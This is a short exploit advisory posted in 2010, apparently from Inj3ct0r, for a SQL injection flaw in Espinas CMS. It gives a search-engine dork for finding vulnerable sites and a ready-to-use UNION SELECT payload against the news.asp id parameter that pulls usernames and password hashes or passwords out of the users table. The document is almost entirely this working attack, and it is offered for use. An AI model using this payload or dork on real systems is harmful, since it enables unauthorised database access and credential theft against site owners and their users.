Espinas CMS SQL Injection Vulnerability
Posted on 07 April 2010
======================================= Espinas CMS SQL Injection Vulnerability ======================================= ################################################################# # Application Info: # Name: Espinas CMS # Vendor: http://espinas.ir ################################################################# # Vulnerability Info: # Type: Sql Injection # Risk: Medium # Dork: "Powered by Espinas IT" ################################################################# Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concat(username,0x3a,0x3a,password),3,4,5+from+sinabed_users -------------------------------------------------------------- ################################################################# # Inj3ct0r.com [2010-04-07]
